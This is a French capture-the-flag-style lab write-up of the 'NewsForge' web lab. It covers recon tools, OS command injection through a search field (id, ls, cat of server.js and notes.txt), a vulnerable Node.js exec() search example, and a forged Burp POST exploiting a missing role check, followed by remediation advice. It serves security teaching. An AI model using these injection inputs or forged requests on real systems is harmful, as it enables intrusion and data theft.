ZNote Logo
ZNote
Labs PentestmediumWebverse
18-06-2026
11 min

Lab NewsForge : OS Command Injection dans la Recherche et Bypass d'Autorisation

Pentest d'une plateforme d'actualités communautaire : découverte d'une injection de commande OS dans le champ de recherche, exploration du système de fichiers via le shell obtenu, lecture du code source server.js, et exploitation d'un endpoint d'édition d'articles dépourvu de contrôle d'autorisation pour récupérer le flag.

Pentest
OS Command Injection
CWE-78
Broken Access Control
Node.js
Burp Suite
Web Security
Webverse

Contexte et Objectifs

ChampDétail
PlateformeWebverse
LienAccéder au Lab
Ciblenewsforge.local
OSLinux (nginx, backend Node.js)
Vuln. clésOS Command Injection, Broken Access Control
DifficultéMedium

Scénario : NewsForge a démarré comme un projet personnel d'un développeur local souhaitant partager des nouvelles de conférences tech et des étapes de projets open source. La plateforme a grandi de façon organique : inscription, navigation d'articles, recherche. Lors d'un audit de sécurité récent, un collègue a remarqué un comportement étrange dans les résultats de recherche, qui semble retourner plus que du simple contenu d'article. L'objectif est de comprendre ce que fait réellement la recherche et de prouver l'accès à des informations sensibles.

Kill chain :

Sortie
Feroxbuster → page search détectée, accessible après authentification
        │
        ▼
Création de compte → exploration du formulaire de recherche
        │
        ▼
Recherche multi-mots → erreur shell inattendue dans les résultats
        │
        ▼
Confirmation OS Command Injection via id
        │
        ▼
Exploration filesystem → notes.txt + server.js lus via le champ
        │
        ▼
Code source : endpoint d'édition d'articles sans vérification admin
        │
        ▼
Requête forgée vers l'endpoint vulnérable → flag

1. Reconnaissance

Commande
bash
rustscan -b 500 -a newsforge.local -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: NewsForge - Breaking News & Top Stories

Un seul port ouvert : 80/tcp, nginx. TTL de 63, machine Linux. Toute la surface d'attaque est concentrée sur l'application web.

Page d'accueil NewsForge

Une plateforme d'actualités communautaire avec inscription, articles et recherche.


2. Énumération Web

VHOST Fuzzing

Commande
bash
ffuf -u "http://newsforge.local" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.newsforge.local" \
  -fs 138

Aucun résultat. Pas de sous-domaine caché. L'application tient entièrement sur newsforge.local.

Content Discovery

Commande
bash
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u "http://newsforge.local"

Output (résultats pertinents, doublons de casse filtrés) :

Sortie
200  GET  http://newsforge.local/
200  GET  http://newsforge.local/login
200  GET  http://newsforge.local/register
302  GET  http://newsforge.local/logout  => http://newsforge.local/
302  GET  http://newsforge.local/search  => http://newsforge.local/login
200  GET  http://newsforge.local/article/article1
200  GET  http://newsforge.local/article/article2
200  GET  http://newsforge.local/article/article3
200  GET  http://newsforge.local/style.css

Analyse :

EndpointComportementSignification
/login, /register200Système d'authentification standard
/search302 vers /loginFonctionnalité protégée, accessible uniquement après connexion
/article/articleN200Articles publics, lisibles sans compte

Le /search redirige systématiquement vers /login tant qu'on n'est pas authentifié. C'est cohérent avec le briefing qui pointe vers le comportement de la recherche. On crée un compte pour y accéder.

Compte créé et formulaire de recherche

Un formulaire de recherche simple, sans fioriture.


3. Exploration du Formulaire de Recherche

On commence par un terme de recherche ordinaire pour observer le comportement normal de l'application.

Premier test de recherche

La réponse contient une ligne inattendue :

Sortie
/bin/sh: city: not found

Ce message est un message d'erreur de shell Unix. C'est exactement ce que retourne /bin/sh quand on lui demande d'exécuter une commande qui n'existe pas. Ce n'est pas une erreur applicative classique de type "no results found", c'est une erreur système.

Cela signifie une chose : le champ de recherche n'est pas traité comme une simple chaîne de filtrage. Une partie de notre saisie a été transmise à un interpréteur shell qui a tenté de l'exécuter comme une commande.

Confirmation avec des Commandes Explicites

On teste directement avec des commandes système connues, à la place d'un terme de recherche classique.

Sortie
id

Résultat de la commande id

Le résultat retourne la sortie de ces commandes directement dans la zone de résultats de recherche. Hypothèse confirmée.


4. Comprendre l'OS Command Injection

Cette classe de vulnérabilité est référencée CWE-78 (OS Command Injection).

Référence: CWE-78: OS Command Injection

Le mécanisme typique côté backend Node.js :

Pour implémenter une recherche performante, certains développeurs s'appuient sur des utilitaires système comme grep plutôt que d'interroger une base de données, en passant par une fonction comme child_process.exec() :

Commande
javascript
const { exec } = require("child_process");

app.post("/search", (req, res) => {
  const query = req.body.query;
  exec(`grep -i "${query}" articles.txt`, (err, stdout) => {
    res.send(stdout);
  });
});

Le problème : exec() lance la commande via /bin/sh -c. Le shell interprète les caractères spéciaux contenus dans la chaîne, comme ;, &&, | ou les backticks, avant même que grep ne soit appelé. Si la valeur de query n'est ni échappée ni validée, un attaquant contrôle totalement ce qui est exécuté par le shell, pas uniquement les arguments de grep.

[!WARNING] La différence avec une injection SQL est importante. Une SQLi compromet une base de données. Une command injection compromet directement le système d'exploitation sous-jacent. C'est généralement plus critique, car cela donne un accès quasi équivalent à un reverse shell, sans même avoir besoin d'en établir un.


5. Accès Initial et Exploration du Système de Fichiers

Le champ de recherche se comporte comme un point d'exécution de commandes. Deux options s'offrent à ce stade : établir un reverse shell pour un accès stable, ou continuer directement via le champ.

[!NOTE] Dans ce lab, l'exploration s'est poursuivie directement via le champ de recherche, sans reverse shell, en raison d'un souci ponctuel de configuration des listeners. Chaque commande système a donc été soumise individuellement via le formulaire, et la sortie lue dans la zone de résultats.

Listing

On commence par lister le contenu du répertoire de travail de l'application (confirmé au préalable via un pwd, non détaillé ici par souci de concision) :

Sortie
ls -la

Listing du répertoire /app

Sortie
total 88
drwxr-xr-x  1 newsforge newsforge   4096 May 14 08:28 .
drwxr-xr-x  1 root      root        4096 Jun 18 10:20 ..
-rw-r--r--  1 newsforge newsforge    570 May 14 08:28 Dockerfile
-rw-r--r--  1 newsforge newsforge    513 May 14 08:28 README.md
drwxr-xr-x  1 newsforge newsforge   4096 Jun 18 10:20 db
drwxr-xr-x  1 newsforge newsforge   4096 May 04 20:45 node_modules
-rw-r--r--  1 newsforge newsforge    452 May 14 08:28 notes.txt
-rw-r--r--  1 newsforge newsforge  34472 May 14 08:28 package-lock.json
-rw-r--r--  1 newsforge newsforge    296 May 14 08:28 package.json
drwxr-xr-x  1 newsforge newsforge   4096 May 14 08:28 public
-rw-r--r--  1 newsforge newsforge   4948 May 14 08:28 server.js
drwxr-xr-x  1 newsforge newsforge   4096 May 14 08:28 views

C'est une application Express.js (Node.js), présence de package.json et server.js. Deux fichiers retiennent l'attention : notes.txt et server.js.

Lecture de notes.txt

Sortie
cat notes.txt

Contenu de notes.txt

Sortie
NewsForge - Developer Notes
===========================
Last updated: 2025-03-12 - Kevin

TODO before next release:
--------------------------
[ ] Article editing: add a role check to /9ead47a82a0d25985f22f10651d1f93b3abba317 routes currently any Logged - in
user can edit articles.
Is it a security flaw that anyone can visit /9ead47a82a0d25985f22f10651d1f93b3abba317
and edit articles? Need to restrict to admin role only before going live.

Deux informations critiques dans ce fichier. Un endpoint à l'URL, /9ead47a82a0d25985f22f10651d1f93b3abba317, permet à n'importe quel utilisateur connecté de modifier des articles, sans aucune vérification de rôle. Cette faille était déjà identifiée par le développeur lui-même dans une note TODO jamais traitée avant la mise en production.

Lecture de server.js

Sortie
cat server.js

Contenu de server.js

Ce fichier contient le code source de l'application, et il nous suffit de scroller à travers le code pour voir ceci :

Contenu de server.js(suite)

Commande
javascript
app.get(
  "/article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317",
  requireLogin,
  async (req, res) => {
    const db = await getDb();
    const article = queryOne(db, "SELECT * FROM articles WHERE slug = ?", [
      req.params.slug,
    ]);
    if (!article)
      return res.status(404).render("404", { user: req.session.user || null });
    res.render("edit", {
      user: req.session.user,
      article,
      success: false,
      flag: null,
    });
  },
);

app.post(
  "/article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317",
  requireLogin,
  async (req, res) => {
    const { title, content } = req.body;
    const db = await getDb();
    const article = queryOne(db, "SELECT * FROM articles WHERE slug = ?", [
      req.params.slug,
    ]);
    if (!article)
      return res.status(404).render("404", { user: req.session.user || null });

    run(db, "UPDATE articles SET title = ?, content = ? WHERE slug = ?", [
      title,
      content,
      req.params.slug,
    ]);

    let FLAG;
    try {
      FLAG = fs.readFileSync("/root/flag.txt", "utf8").trim();
    } catch (e) {
      FLAG = "WEBVERSE{flag_edit_without_authorization}";
    }

    res.render("edit", {
      user: req.session.user,
      article: { ...article, title, content },
      success: true,
      flag: FLAG,
    });
  },
);

Ce code vient confirmer les notes du développeur. L'unique middleware appliqué sur les deux routes est requireLogin, qui vérifie uniquement qu'un utilisateur est connecté. Aucune vérification de rôle, aucun contrôle que l'utilisateur est bien l'auteur de l'article ou un administrateur. N'importe quel compte enregistré peut éditer n'importe quel article identifié par son slug.

La seule protection en place est l'URL elle-même : un hash de 40 caractères ajouté après le slug, /9ead47a82a0d25985f22f10651d1f93b3abba317, qui tente de masquer l'existence de cette route plutôt que de la sécuriser réellement. C'est de la sécurité par l'obscurité, et elle échoue dès que l'URL est documentée quelque part d'accessible, ici dans notes.txt.

On remarque aussi que le flag est lu depuis /root/flag.txt côté serveur et injecté directement dans la page rendue dès qu'une modification réussit, peu importe qui l'a déclenchée.


6. Exploitation : Bypass d'Autorisation

L'endpoint n'est pas une API JSON, c'est une route qui rend une page HTML via res.render(). Nous pouvons nous y rendre et modifier le contenu mais j'ai voulu passer par BurpSuite pour l'exercice en vue de construire et envoyer la requête vers l'endpoint vulnérable.

Préparation de la Requête

On intercepte une requête authentifiée existante, par exemple le chargement d'un article, pour récupérer notre cookie de session, puis on la modifie dans le Repeater pour cibler l'endpoint vulnérable :

Sortie
http
POST /article/article1/9ead47a82a0d25985f22f10651d1f93b3abba317 HTTP/1.1
Host: newsforge.local
Cookie: session=<notre_session_utilisateur_standard>
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

title=NouveauTitre&content=NouveauContenu

Requête forgée dans Burp Repeater

On envoie la requête. Bien qu'authentifié uniquement en tant qu'utilisateur standard, sans aucun rôle administrateur, la requête est acceptée car l'endpoint ne vérifie aucune autorisation.

Récupération du Flag

La réponse est la page edit re-rendue par le serveur, cette fois avec success: true et le flag injecté dans le HTML :

Commande
html
<div class="success-banner">Article updated successfully.</div>
<div class="flag-display"><flag récupéré, voir capture></div>

Réponse contenant le flag

La modification de l'article a réussi sans aucun privilège administrateur. Le serveur a confirmé l'écriture en base et affiché le flag directement dans la page, preuve tangible que le contrôle d'accès est cassé.


7. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan           → Port 80 uniquement, nginx, backend Node.js
2. Feroxbuster        → /search protégé, redirige vers /login
3. Inscription        → Accès au formulaire de recherche
4. Test recherche     → Erreur /bin/sh: city: not found
5. id                 → OS Command Injection confirmée
6. ls / cat notes.txt → Endpoint vulnérable identifié par le dev lui-même
7. cat server.js      → Confirmation : update sans middleware requireAdmin
8. Requête forgée     → POST /article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317 sans droits admin
9. Flag               → Retourné dans la page HTML

Remédiation

VecteurProblèmeRemédiation
OS Command Injection dans /searchL'input utilisateur est passé directement à un shell via exec()Ne jamais construire de commandes shell à partir d'entrées utilisateur. Utiliser une recherche en base de données ou, si un outil système est requis, execFile() avec des arguments passés en tableau, jamais en chaîne concaténée
Endpoint update sans authorization/article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317 applique uniquement requireLogin, aucune vérification de rôleAjouter un middleware requireAdmin dédié sur toutes les routes de modification, et ne jamais compter sur l'authentification seule comme preuve d'autorisation
TODO de sécurité non traitéLa faille était documentée dans notes.txt mais jamais corrigée avant déploiementIntégrer les TODO de sécurité dans le backlog de l'équipe avec une priorité bloquante avant mise en production. Ne jamais déployer avec des findings de sécurité connus et non résolus
Fichiers de notes en clair sur le serveurnotes.txt accessible depuis le système de fichiers de l'applicationNe jamais conserver de notes de développement, TODOs ou commentaires sensibles dans le répertoire de déploiement de l'application
Processus Node.js avec accès large au filesystemLe command injection a permis de lire librement server.js et notes.txtFaire tourner l'application avec un utilisateur dédié à privilèges minimaux, dans un environnement conteneurisé isolé

[!NOTE] Ce lab illustre un cas où le développeur avait conscience du problème avant la mise en production, en témoigne notes.txt, mais où la faille a tout de même atteint l'environnement de production. Documenter une vulnérabilité connue ne suffit pas, elle doit être corrigée et vérifiée avant tout déploiement. Un TODO oublié dans un coin de code est aussi dangereux qu'une faille jamais découverte.


Writeup rédigé par Zcook